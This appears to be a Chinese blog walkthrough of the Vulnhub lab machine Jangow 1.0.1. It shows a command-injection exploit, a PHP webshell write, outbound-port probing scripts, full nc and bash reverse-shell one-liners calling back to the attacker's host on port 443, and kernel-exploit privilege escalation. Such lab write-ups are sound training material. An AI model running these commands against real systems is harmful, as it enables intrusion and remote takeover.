Vulnhub靶机:JANGOW_ 1.0.1

目录

  • 介绍
  • 信息收集
    • 主机发现
    • 主机信息探测
  • 网站探测
  • 命令执行漏洞-(解决反弹shell失败问题)
    • 解决出网端口问题
      • 排雷姿势1:nc端口扫描
      • 排雷姿势2:burpsuite爆破端口
      • 排雷姿势3:其他手段
    • 反弹shell(解决-e问题)
      • 姿势1:使用nc解决-e问题
      • 姿势2:使用bash
  • 提权
  • 第二种打法
    • 目录爆破
    • ftp投递exp实现提权
  • 总结
  • 参考

介绍

系列:Jangow(此系列共1台)
发布日期:2021年11月4日
难度:低
提示信息:爆破是拿下靶机的重要手段
目标:取得 root 权限 + Flag
学习:

  • 主机发现
  • 端口扫描
  • 路径枚举
  • 命令执行
  • 反弹shell
  • ftp利用
  • 内核提权

靶机地址:https://www.vulnhub.com/entry/jangow-101,754/

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth0 -r 192.168.56.0/24

主机信息探测

nmap -p- 192.168.56.118
nmap -p21,80 -A 192.168.56.118

网站探测

打开网站如下
Vulnhub靶机:JANGOW_ 1.0.1_第1张图片

Vulnhub靶机:JANGOW_ 1.0.1_第2张图片

把页面上的按钮点个遍,发现点击右上角的“buscar”按钮会跳转到下图页面,看起来像是要我们输入一些内容
Vulnhub靶机:JANGOW_ 1.0.1_第3张图片

试着输入id,结果发现了命令执行漏洞
Vulnhub靶机:JANGOW_ 1.0.1_第4张图片

命令执行漏洞-(解决反弹shell失败问题)

http://192.168.56.118/site/busque.php?buscar=echo '' > cmd.php

Vulnhub靶机:JANGOW_ 1.0.1_第5张图片

接着反弹shell,但是很蛋疼,就是反弹不过来
Vulnhub靶机:JANGOW_ 1.0.1_第6张图片

碰到这种情况,可能是存在端口限制。这里使用nc探测可用端口(一般服务器不会对80、443端口做限制),这里出于演示目的,说明一下该怎样探测出网端口。

解决出网端口问题

排雷姿势1:nc端口扫描

  1. 在kali上把1-65535所有端口绑定到某个端口上,并对其监听
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
  1. 在靶机上运行如下脚本进行探测(注意格式需要为Unix格式!)
# !/bin/bash
for i in $(seq 1 65535)
do
    timeout 1 nc -vz 192.168.56.102 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"

你可以使用dos2unix或者notepad++来转换上面的文件内容为Unix格式的,不然蚁剑运行的时候会出错。
Vulnhub靶机:JANGOW_ 1.0.1_第7张图片

我在这里花费了1个小时的时间,百思不得其解为什么sh脚本已经运行完了,但是却没有反弹shell,如下图。我甚至开启了wireshark抓包,但是抓不到任何数据包!
Vulnhub靶机:JANGOW_ 1.0.1_第8张图片

在反复猜疑中,我刷新蚁剑时,发现扫描结果导出文件“out.txt”的大小在变化,我恍然大悟。由于靶机对端口做了限制,才导致wireshark抓不到流量,但是靶机还是一直在尝试连接kali,虽然蚁剑里面出现了新的对话框,但是后台还在尝试连接中,只有继续耐心等待才行!
Vulnhub靶机:JANGOW_ 1.0.1_第9张图片

当发现kali那边建立反弹shell时,我在导出文件中发现了开放端口443
Vulnhub靶机:JANGOW_ 1.0.1_第10张图片

排雷姿势2:burpsuite爆破端口

既然我的目的是探测靶机出网端口,这又是个命令执行漏洞,可以这么搞。如下图,我还是在kali上把1-65535所有端口绑定到某个端口上,并对其监听,同时开启抓包,然后借助命令执行漏洞对不同端口进行爆破。

当nc建立连接,tcpdump抓到数据包的时候,就可以暂停爆破了,通过抓包发现靶机可以与kali的443端口建立连接!另外,测试的时候发现,在尝试了第一种排雷姿势的时候,需要重启靶机才能正常使用第二种排雷姿势!
Vulnhub靶机:JANGOW_ 1.0.1_第11张图片

特别注意:
我最初是打算将爆破结果导入到一个文本中的,借此判断出网端口,但是导出的文件是空的。出现这种情况的原因很简单,抓包可以看到没有响应体,所以导出的文件是空文件。因此,我最后是采用了tcpdump抓包的方式来判断出网端口。
Vulnhub靶机:JANGOW_ 1.0.1_第12张图片

Vulnhub靶机:JANGOW_ 1.0.1_第13张图片

排雷姿势3:其他手段

除了用nc,还有被的姿势吗?有的。
写个python脚本,利用telnet反复探测

import requests

url = "http://192.168.56.118/site/busque.php?buscar=telnet%20192.168.56.101%20"
for i in range(440, 65536):
    try:
        payload = url + str(i)
        req = requests.get(payload, timeout=1)
        if "Trying" in req.text:
            print(i)
    except:
        pass

本地测试一下,代码没问题
Vulnhub靶机:JANGOW_ 1.0.1_第14张图片

丢到蚁剑上,运行一下脚本,完全没问题
Vulnhub靶机:JANGOW_ 1.0.1_第15张图片

反弹shell(解决-e问题)

我这里重启了kali(它的ip从102变成了101),消除了设置的iptables,反弹shell看起来失败了,应该是靶机的nc缺少-e参数导致的
Vulnhub靶机:JANGOW_ 1.0.1_第16张图片

姿势1:使用nc解决-e问题

对下面内容手动做url编码:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f

Vulnhub靶机:JANGOW_ 1.0.1_第17张图片

姿势2:使用bash

不仅是nc,bash反弹shell也是实战中用的最多的方法,对下面内容手动做url编码:

bash -i >& /dev/tcp/192.168.56.101/443 0>&1

很显然,反弹shell失败了
Vulnhub靶机:JANGOW_ 1.0.1_第18张图片

换一种姿势呢?成功了

bash -c 'bash -i >& /dev/tcp/192.168.56.101/443 0>&1'

Vulnhub靶机:JANGOW_ 1.0.1_第19张图片

如果再失败的话可以考虑指明bash的位置,因为打靶机的时候碰到过这种奇葩情况

which bash
/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/443 0>&1'

提权

提权环节就很简单了,发现靶机的内核版本是16.04,应该可以内核漏洞提权
Vulnhub靶机:JANGOW_ 1.0.1_第20张图片

这里搜索到好几个提权脚本,经过测试,45010.c可以成功提权。投递exp的时候,发现既无法wget下载,也无法通过nc投递,只好借助蚁剑上传了。
Vulnhub靶机:JANGOW_ 1.0.1_第21张图片

第二种打法

靶机作者提示,爆破是拿下靶机的重要手段。

目录爆破

目录爆破帮助我们发现了一个账号密码
Vulnhub靶机:JANGOW_ 1.0.1_第22张图片

结果发现,爆破出来的账号密码可以ftp登录和系统登录。那这不省事了?依然是熟悉的内核漏洞提权
Vulnhub靶机:JANGOW_ 1.0.1_第23张图片

ftp投递exp实现提权

编译exp通过ftp投递到靶机上面,这里有一个大坑,字符/在靶机上面打印不出来,导致无法正常运行exp,仔细观察一遍键盘后,我发现,除了字母区右侧有/符号,数字区上面也有/符号。最终借助数字区上面的/符号成功运行exp,提权成功。
Vulnhub靶机:JANGOW_ 1.0.1_第24张图片

总结

Vulnhub靶机:JANGOW_ 1.0.1_第25张图片

参考

靶机练习-JANGOW: 1.0.1

你可能感兴趣的:(靶机,Vulnhub)